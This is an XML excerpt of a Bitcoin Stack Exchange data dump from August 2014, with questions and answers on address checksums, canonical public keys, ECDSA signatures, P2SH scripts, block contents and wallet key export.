  <row Id="30009" PostTypeId="2" ParentId="30008" CreationDate="2014-08-13T03:10:50.227" Score="0" Body="&lt;p&gt;I'm assuming the issue is with a browser (also LastPass) using history of Blockchain URLs in lowercase, as I've encountered the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's going to be quite difficult to do so since:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public address is case sensitive (which you know)&lt;/li&gt;&#xA;&lt;li&gt;public key has a check sum which is also case sensitive&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Secret exponent is case insensitive&lt;/li&gt;&#xA;&lt;li&gt;Blockchain can be tested for correct address with API or more simply at &lt;a href=&quot;http://Blockchain.info/address/1dice8EMZmqKvrGE4Qc9bUFf9PX3xaYDp&quot; rel=&quot;nofollow&quot;&gt;http://Blockchain.info/address/1dice8EMZmqKvrGE4Qc9bUFf9PX3xaYDp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're looking for Java code or something similar (Python, Ruby), then, &lt;strong&gt;yes&lt;/strong&gt;. It'd involve checking all permutations of case of your public key until it matches the secret exponent of the desired proper case key using Blockchain's API. You could implement something similar to vanitygen OpenCL also...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;but it all comes back to how much effort you want to devote here&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-08-13T03:10:50.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30010" PostTypeId="2" ParentId="30004" CreationDate="2014-08-13T03:21:37.017" Score="1" Body="&lt;p&gt;What version of Multibit and on what platform ie OS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were issues with importing Blockchain wallets (a Reddit or BCT thread detailed lost BTC from a supposed lost imported Blockchain private key) so I believe recent Multibit versions have had Blockchain wallet imports disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple threads to check:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1rop3t/bitcoins_showing_up_on_blockchain_but_not_in/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1rop3t/bitcoins_showing_up_on_blockchain_but_not_in/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/26fymy/multibit_has_removed_imports_from_blockchaininfo/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/26fymy/multibit_has_removed_imports_from_blockchaininfo/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's nothing stopping you from using Blockchain's &lt;em&gt;export unencrypted keys&lt;/em&gt; in either &lt;em&gt;base58&lt;/em&gt; or &lt;em&gt;Bitcoin-QT&lt;/em&gt; formats and pasting the private keys for import (PRIVKEY will either be 5H,5J,5K or K,L)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-08-13T03:21:37.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30012" PostTypeId="2" ParentId="30008" CreationDate="2014-08-13T05:16:47.457" Score="2" Body="&lt;p&gt;See the related question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28244/can-you-help-me-fix-this-address/28259#28259&quot;&gt;Can you help me fix this address?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be pretty easy to adapt the code I gave in my answer to try upper and lower case for each letter in the address, and for each possibility, see if its checksum validates.  The address you gave has 28 alphabetical characters, so there are 2^28 addresses to check, which is not too unreasonable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not expect there to be any way that's substantially better than this brute-force approach.  Since the output of a good cryptographic hash function should look random, there shouldn't be any &quot;patterns&quot; in the upper/lower case distribution for us to take advantage of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a chance that more than one possibility results in a valid address.  In that case, there would be no way to know which of them was the address that was actually intended (but if only one of them has appeared on the block chain, that should settle it.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-08-13T05:16:47.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30013" PostTypeId="1" CreationDate="2014-08-13T06:32:13.837" Score="0" ViewCount="131" Body="&lt;p&gt;In my logs I see that I keep getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ERROR: Non-canonical public key: compressed nor uncompressed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error is thrown from inside the method:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bool IsCanonicalPubKey(const valtype &amp;amp;vchPubKey, unsigned int flags)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't understand what this method is checking. I understand it's checking if the Public Key is Canonical but, I don't understand what that means. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please explain?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-08-13T14:49:22.783" Title="IsCanonicalPubKey method in Bitcoin Core source" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30014" PostTypeId="2" ParentId="30013" CreationDate="2014-08-13T07:25:26.363" Score="1" Body="&lt;pre&gt;&lt;code&gt;bool IsCanonicalPubKey(const valtype &amp;amp;vchPubKey) {&#xA;    if (vchPubKey.size() &amp;lt; 33)&#xA;        return error(&quot;Non-canonical public key: too short&quot;);&#xA;    if (vchPubKey[0] == 0x04) {&#xA;        if (vchPubKey.size() != 65)&#xA;            return error(&quot;Non-canonical public key: invalid length for uncompressed key&quot;);&#xA;    } else if (vchPubKey[0] == 0x02 || vchPubKey[0] == 0x03) {&#xA;        if (vchPubKey.size() != 33)&#xA;            return error(&quot;Non-canonical public key: invalid length for compressed key&quot;);&#xA;    } else {&#xA;        return error(&quot;Non-canonical public key: compressed nor uncompressed&quot;);&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1) Public keys must be either 65 or 33 bytes long.&lt;/li&gt;&#xA;&lt;li&gt;2a) 65 byte long public keys must start with one byte prefix 0x04&lt;/li&gt;&#xA;&lt;li&gt;2b) 33 byte long public keys must start with one byte prefix 0x02 or&#xA;0x03&lt;/li&gt;&#xA;&lt;li&gt;3) Any other byte sequences can not be treated as public key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-08-13T14:49:22.783" LastActivityDate="2014-08-13T14:49:22.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30015" PostTypeId="1" CreationDate="2014-08-13T07:39:10.150" Score="4" ViewCount="1701" Body="&lt;p&gt;How do mnemonics encrypt wallet data and what prevents hacking of the algorithm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example Blockchain seems to encrypt all data using a mnemonic yet doesn't hold customer data server side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What prevents creating numerous Blockchain wallets, recording the mnemonics and discovering the algorithm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB.&lt;/strong&gt; The BCI mnemonic recovery protocol is &lt;strong&gt;NOT&lt;/strong&gt; the same as BIP39&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2016-03-15T09:56:11.033" LastActivityDate="2016-09-11T21:54:22.020" Title="How do Blockchain.info recovery mnemonics encrypt wallet data and what prevents hacking of the algorithm?" Tags="|wallet|security|blockchain.info|hacking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30017" PostTypeId="1" CreationDate="2014-08-13T08:55:24.390" Score="0" ViewCount="63" Body="&lt;p&gt;I'm quite new to anything related to Bitcoin, but let's say that I want to launch a website (in France), where people could buy some items with Bitcoin or could do some bets with Bitcoin. Do I need to register a company to the Chamber of Commerce or could it be a business without any registration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18963" LastActivityDate="2014-09-14T20:39:12.597" Title="Bitcoin and Company Launching" Tags="|commerce|taxes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30018" PostTypeId="1" CreationDate="2014-08-13T12:38:10.353" Score="0" ViewCount="170" Body="&lt;p&gt;Suppose below is target difficulty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000CDEF0A000000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So result value must lower than target to select block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, If Miner 'A' found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x000000000000000000000000076898778ABEFDC34798734590349843BDCAE854&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will miner 'A' can satisfy target difficulty or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if not then please tell me the reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18965" LastEditorUserId="17113" LastEditDate="2014-08-13T15:52:26.180" LastActivityDate="2014-09-12T18:07:22.577" Title="What is the algorithm of block selection using Target Difficulty?" Tags="|block|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30019" PostTypeId="1" CreationDate="2014-08-13T13:15:13.813" Score="11" ViewCount="41034" Body="&lt;p&gt;Block is collection of transactions.Who can decide Number of transactions per block? and How transactions are selected in block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and How does the priority works for fee transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="18965" LastActivityDate="2014-08-13T14:00:46.123" Title="How many transactions in One Block?" Tags="|transactions|transaction-fees|block|" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-08T10:22:01.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="30020" PostTypeId="1" AcceptedAnswerId="30023" CreationDate="2014-08-13T13:24:34.893" Score="3" ViewCount="390" Body="&lt;p&gt;ECDSA signatures are not deterministic. That is, random information is used in calculating the signature for a piece of data. Approximately how many unique signatures exist for a piece of data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way this question might be phrased is: if I continually sign the same piece of data using random multiples of the generator point then how many signatures (on average) will I have to generate before finding a duplicate signature? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, if instead I start with a random multiple of the generator kG and then sign using (k+1)G, then (k+2)G, ... then will I ever produce the same signature?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-10-30T21:48:54.557" LastActivityDate="2014-10-30T21:48:54.557" Title="How many Secp256k1 signatures exist for a piece of data?" Tags="|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30021" PostTypeId="2" ParentId="30019" CreationDate="2014-08-13T13:33:16.957" Score="17" Body="&lt;p&gt;Transactions are broadcasted by anyone in the system and at random intervals. Which transactions, of all the ones broadcasted, are included is very dependent on the miner, as he/she is the one who groups them up and includes them in the block. As Nate noted below, there is also a 1MB block size limit which limits how many transactions can be included in a block. This limit is to prevent huge blocks that clog the network and may be removed if the number of transactions in the network ever grows such that the limit is a serious factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good miners accept all transactions with the standard 0.0001 BTC fee (which is mainly a spam prevention measure). Bad miners are selfish and avoid including transactions to decrease their propogation time. For example, look at &lt;a href=&quot;https://blockchain.info/block-height/315076&quot; rel=&quot;noreferrer&quot;&gt;this block&lt;/a&gt; to see an example where a miner didn't include any transactions except for their own reward transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/&lt;/a&gt; then you can see how many transactions are included in each block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as priority goes, again it depends on the miner, but in general miners like bigger fees and smaller transactions and may prioritize them that way.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-08-13T14:00:46.123" LastActivityDate="2014-08-13T14:00:46.123" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30022" PostTypeId="1" CreationDate="2014-08-13T15:00:48.910" Score="2" ViewCount="172" Body="&lt;p&gt;If I want to know the total balance in all the addresses which can be generated in a deterministic wallet (like electrum or armory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the master public key allowing me to derive an infinite number of public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the number of addresses I should generate to check the balance ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I can stop if the last X addresses don't have any transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the value of X for electrum and armory (when recovering from a backup) ?&lt;/p&gt;&#xA;" OwnerUserId="18949" LastActivityDate="2014-08-14T10:27:12.360" Title="Where to stop key derivation when looking at balance of a deterministic wallet" Tags="|electrum|armory|deterministic-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30023" PostTypeId="2" ParentId="30020" CreationDate="2014-08-13T15:06:22.343" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Approximately how many unique signatures exist for a piece of data?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;something like 2^256 (slightly less)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;will I have to generate before finding a duplicate signature?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends of the quality of you random generator. You must use &quot;true&quot; random generators, not pseudo-random.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;then will I ever produce the same signature?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are you going to live eternally? The sun will go out by the time of when you repeat the signature. By the way: you can take value of 'k' as a function of your 'privateKey' and 'data-2-sign' &#xA;See &lt;a href=&quot;https://bitcointalk.org/index.php?topic=727918.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=727918.0&lt;/a&gt; for more info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way. The signature itself is 512 bits. R and S (256 bits each). Your private key can be recovered when you sign different data with the same 'k'. In this case 'R' value will be the same for both signatures. And 'S' value will differ.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-08-13T18:01:42.250" LastActivityDate="2014-08-13T18:01:42.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30025" PostTypeId="2" ParentId="30018" CreationDate="2014-08-13T15:54:33.740" Score="1" Body="&lt;p&gt;Yes.  The test is that in order to be a valid proof of work, the hash found must be numerically less than or equal to the target.  That is certainly true of the hash found by Miner A in your example.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-13T15:54:33.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30026" PostTypeId="1" AcceptedAnswerId="30088" CreationDate="2014-08-13T16:40:36.187" Score="3" ViewCount="966" Body="&lt;p&gt;I owned bitcoins at mtgox during bankruptcy, am I a creditor and thus have to file a proof of claim?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2015-04-28T13:12:21.650" Title="MtGox bancruptcy: Filing proof of claims" Tags="|mtgox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30027" PostTypeId="2" ParentId="23620" CreationDate="2014-08-13T18:35:16.120" Score="1" Body="&lt;p&gt;The default RPC port for bitcoind is &lt;strong&gt;8332&lt;/strong&gt;. Unless you've changed it with the &lt;em&gt;-rpcport&lt;/em&gt; option, you should be connecting to that port instead.&lt;/p&gt;&#xA;" OwnerUserId="18753" LastActivityDate="2014-08-13T18:35:16.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30028" PostTypeId="1" AcceptedAnswerId="30030" CreationDate="2014-08-13T18:58:41.903" Score="0" ViewCount="166" Body="&lt;p&gt;Does sending funds &lt;strong&gt;to&lt;/strong&gt; a multisig address require different script than the one used for ordinary addresses? If yes, how should this script look like? (Under multisig address I mean Bitcoin script hash which starts with 3 instead of 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I write a bitcoin library in Scala for research purposes which can be found here: &lt;a href=&quot;https://github.com/ahahaebat/BitScala&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ahahaebat/BitScala&lt;/a&gt;. Current code creates correct transactions for ordinary addresses but fails to do so for multisig ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the script is the same for both types of addresses:&lt;br&gt;&#xA;OP_DUP, OP_HASH160, address_hash, OP_EQUALVERIFY, OP_CHECKSIG  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I change it somehow for multisig addresses?&lt;/p&gt;&#xA;" OwnerUserId="12533" LastActivityDate="2014-08-13T20:08:30.533" Title="Script for sending funds to a multisig address" Tags="|development|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30029" PostTypeId="1" CreationDate="2014-08-13T19:55:56.750" Score="2" ViewCount="41" Body="&lt;p&gt;In Ripple, money can be exchanged in two ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a payment is sent from a person to another person&lt;/li&gt;&#xA;&lt;li&gt;2 satisfying offers fulfill each other&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://ripple.com/wiki/Transaction_Format#OfferCreate_.287.29&quot; rel=&quot;nofollow&quot;&gt;Ripple wiki&lt;/a&gt; states &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When an offer is placed it will immediately take any other offers that satisfy it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Regular payments can be seen by the Ripple network by &lt;code&gt;Payment&lt;/code&gt; transactions that are sent around. However, when two satisfying &lt;code&gt;OfferCreate&lt;/code&gt; transactions occur, how can one know that they are being matched are will fulfill each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for a &lt;code&gt;Payment&lt;/code&gt; transaction, multiple possible &quot;paths&quot; can be defined. How do other nodes know which path is chosen and so which offers that the paths correspond to are fulfilled?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm currently monitoring the &lt;code&gt;payments&lt;/code&gt; WebSocket stream, but I seem to need more than that to know what money exchanges happen in Ripple.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2014-08-13T20:08:14.093" LastActivityDate="2014-08-13T20:08:14.093" Title="How can one know which money exchanges happen in Ripple?" Tags="|transactions|ripple|api|ripple-api|" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-02T05:25:21.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="30030" PostTypeId="2" ParentId="30028" CreationDate="2014-08-13T20:08:30.533" Score="1" Body="&lt;p&gt;Yes. Script for P2SH should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160, address_hash, OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-13T20:08:30.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30031" PostTypeId="2" ParentId="24434" CreationDate="2014-08-13T23:13:24.627" Score="6" Body="&lt;p&gt;You can run a Raspberry Pi with bitcoind no problem. I have several Pi's running bitcoind in various locations and some of them have over 100 connections. Use a 64GB flash card and make sure you have a 512MB swap file. The only limitation you will find is your broadband upload speed , the Pi or it's flashcard will not be the bottlekneck. Use a good quality flash card like Sandisk etc. Also tell your router to route incoming connections on port 8333 to your Pi's IP address. The reason the only limitation is your broadband upload speed is because of parasitic loads such as new users trying to upload the entire blockchain from your Pi. If you do this , try to set your Pi up with blockcahin already loaded onto flash or SSD otherwise it will take some time to synchronise.&lt;/p&gt;&#xA;" OwnerUserId="18971" LastActivityDate="2014-08-13T23:13:24.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30032" PostTypeId="1" CreationDate="2014-08-14T00:15:51.817" Score="1" ViewCount="160" Body="&lt;p&gt;I started syncing a bitcoin-qt client, and had somebody send me funds to an address generated in the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then stupidly decided to speed up the syncing process and downloaded a torrent of bootstrap.dat which I loaded into the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the client is not syncing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have the public address that I had the funds sent to, and I still have the wallet.dat &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get the private key out of the wallet and then import it into an online wallet to at least get these funds before I start again with a local wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;nb: In the client the &lt;code&gt;debug window&lt;/code&gt; option is greyed out and cannot be selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="18972" LastActivityDate="2014-08-14T00:15:51.817" Title="How do I export a private key from my Bitcoin-QT wallet if the wallet isn't synced?" Tags="|bitcoin-core|private-key|wallet-recovery|recover-private-key|" AnswerCount="0" CommentCount="1" ClosedDate="2014-09-15T22:13:51.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="30034" PostTypeId="2" ParentId="25183" CreationDate="2014-08-14T02:58:25.833" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://chain.com/docs&quot; rel=&quot;nofollow&quot;&gt;Chain.com&lt;/a&gt; offers OP_RETURN data for addresses, transactions and blocks.&lt;/p&gt;&#xA;" OwnerUserId="18975" LastActivityDate="2014-08-14T02:58:25.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30035" PostTypeId="1" CreationDate="2014-08-14T04:44:30.467" Score="-1" ViewCount="229" Body="&lt;p&gt;I'm thinking through SaaS platform, where customers will pay little (20-50 cents) fee for daily use.&#xA;My first thought was to create own internal currency and deduct customer's balance daily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm wondering is there chance not to reinvent the money and use existing crypto-currency (bitcoin, ripple or another) environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So idea should be like that: customers have their own wallets and set trust-relationship to my shop/gateway for, let's say, equivalent $5 daily. And my script gathers yield and opens access to the platform.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Requirements are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;lowest or zero transaction fee, as it is micro-payments&lt;/li&gt;&#xA;&lt;li&gt;I don't like bitcoin, because it costs a lot, and most of transactions will be ~0.0004** BTC. It's really hard to keep accuracy&lt;/li&gt;&#xA;&lt;li&gt;it should be easy for my customers to create and maintain wallet and to buy the currency&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18977" LastActivityDate="2014-08-14T09:40:36.940" Title="Recurring micro-payments platform" Tags="|ripple|ripple-gateways|micropayments|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30036" PostTypeId="1" CreationDate="2014-08-14T07:40:23.287" Score="0" ViewCount="91" Body="&lt;p&gt;I installed bitcoind on an ubunto server. If I execute bitcoind getinfo, I get the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;relayfee&quot;:1.0E-5,&quot;difficulty&quot;:3304356.39299034,&quot;blocks&quot;:206286,&quot;keypoolsize&quot;:101,&quot;version&quot;:90201,&quot;timeoffset&quot;:0,&quot;balance&quot;:0.0,&quot;errors&quot;:&quot;&quot;,&quot;paytxfee&quot;:0.0,&quot;proxy&quot;:&quot;&quot;,&quot;testnet&quot;:false,&quot;connections&quot;:38,&quot;protocolversion&quot;:70002,&quot;walletversion&quot;:60000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems like it synced until block 206286. Around twelfe hours ago it 206154, so the number increased with normal block discovery time I would say. Connections are at 38 so this should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I checked correctly the actual current block is 300 000 something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone know whats the status of the wallet or how can I check it/&lt;/p&gt;&#xA;" OwnerUserId="12216" LastActivityDate="2014-08-14T07:40:23.287" Title="Bitcoind sync status at ~block 206286" Tags="|bitcoind|ubuntu|server|" AnswerCount="0" CommentCount="3" ClosedDate="2017-06-20T05:40:41.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="30037" PostTypeId="1" CreationDate="2014-08-14T07:52:07.413" Score="1" ViewCount="159" Body="&lt;p&gt;I have tried to transfer some btc being a first time user from one wallet to another (both online version). It seems the btc was sent but the receiving wallet is still showing '0' 24 hours later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Receiving wallet does require three confirmations for funds to show but from what I have been able to find on blockchain it should have passed this point! Being a newbie I'm obviously concerned if everything is as it should be!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the transaction for the sending wallet, it seems to show the funds transferring in and then out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1BkJ16RfYTcPbhsdWKyKkg2pNVZKjbyfTA&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1BkJ16RfYTcPbhsdWKyKkg2pNVZKjbyfTA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the transactions list for the receiving wallet which currently shows '0' balance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1BkKpkHVcxoQEjGxZtHaxVPX9xuVh8ru5i&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1BkKpkHVcxoQEjGxZtHaxVPX9xuVh8ru5i&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows the transactions as 4 so am concerned all is not right! Any advice is greatly received!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18978" LastActivityDate="2014-08-14T07:52:07.413" Title="Problem receiving - confirmations stuck?" Tags="|transactions|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30038" PostTypeId="2" ParentId="30005" CreationDate="2014-08-14T09:23:15.287" Score="0" Body="&lt;p&gt;There is an HTML client called &lt;a href=&quot;http://carbonwallet.com&quot; rel=&quot;nofollow&quot;&gt;http://carbonwallet.com&lt;/a&gt;, but it is made by an individual I wouldn't trust putting my seed there unless I'm sure what the code does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try the Android version that is available, or wait a bit more for the Electrum Kivy for Android (and iOS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML clients are Javascript that runs in BROWSERS!... so local software is better and more secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum uses its own 12 words seeds since it was created, with version 2.0 it will use its own 14 words passphrases for the BIP32 standard (so it will use a non-standard). So unless you see a &quot;Electrum seeds/12 words passphrases&quot; supported you'll have to either manually compare the results in other wallets or ask for Electrum's seeds support.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2014-08-14T09:23:15.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30039" PostTypeId="2" ParentId="30035" CreationDate="2014-08-14T09:40:36.940" Score="-1" Body="&lt;p&gt;Bitcoin can do exactly that. Search for micropayment channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small recurring payments with very low fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/bitcoin-development/thread/44f8fd60-be4a-436d-a132-422b939d6de1@email.android.com/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/p/bitcoin/mailman/bitcoin-development/thread/44f8fd60-be4a-436d-a132-422b939d6de1@email.android.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-08-14T09:40:36.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
